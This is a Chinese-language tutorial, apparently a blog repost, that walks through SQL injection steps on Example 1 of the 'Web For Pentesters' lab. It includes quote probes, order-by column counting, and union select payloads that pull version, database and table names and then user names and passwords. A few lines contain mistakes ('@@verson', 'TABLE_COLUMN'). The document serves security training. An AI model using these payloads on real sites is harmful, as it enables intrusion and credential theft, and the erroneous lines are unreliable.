1. 程式人生 > 實用技巧 >網路安全知識--PHP程式碼審計/Web For Pantesters 的 SQL injection

網路安全知識--PHP程式碼審計/Web For Pantesters 的 SQL injection

SQL 注入一般流程

  1. 判斷有無注入
    單引號判斷: ?name=root' 對應語句 select * from table where name='root'' 不符合語法規範,報錯,說明有注入
    and,or判斷....很多,網上搜

order by 判斷欄位數 ,order by 5可以 6不行,說明5個欄位
得到欄位數後union select得到可以輸出的欄位: union select ,a union b 要求a,b欄位數相同。
比如 ' union select 1,2,3,4,5 %23, 輸出 1,3,5 說明這三個欄位可以輸出

' 單引號,%27 (16位ascii)
%23 #,註釋
--+ 忽略下一個符號

利用可以輸出的欄位獲取資訊
下面用 Web For Pantesters 的 SQL injection 的example 1為例

example 1

1.

?name=root' 出錯無輸出,說明可以注入

2.

name=root' order by 5 --+ 正常
6--+ 出錯,說明5個欄位

root' union select 1,2,3,4,5 發現輸出為1,2,3,可以用1,2,3列輸出資訊。 (這裡不一定用12345,78945也行,無所謂)

3.檢視基本資訊

database() 資料庫名,information_schema.tables 儲存元資料, ...
利用union select 查詢基本資訊。

root' union select @@verson,@@datadir,database(),4,5

因為union 要求列數相同,故除了 @@verson,@@datadir,database() 外還要有4,5。這樣得到version,路徑,資料庫名

查詢表名
資料庫名為 exercises,轉化為16進位制XXX
然後 union select TABLE_NAME,2,3,4,5 from information_schema.tables where TABLE_SCHEMA=XXX %23.... //(資料庫名的16進位制),注意註釋掉後面

得到表名users。查詢column name。
union select TABLE_COLUMN,2,3,4,5 from information_schema.columns where TABLE_NAME=XXX %23.... // 表名的16進位制

4.

輸出三項,得到name,password
' union select id,name,passwd,4,5 from users %23

有時候可以用 group_concat,concat_ws ,括號等輸出更多列的資訊。(比如在3列中輸出5列資訊)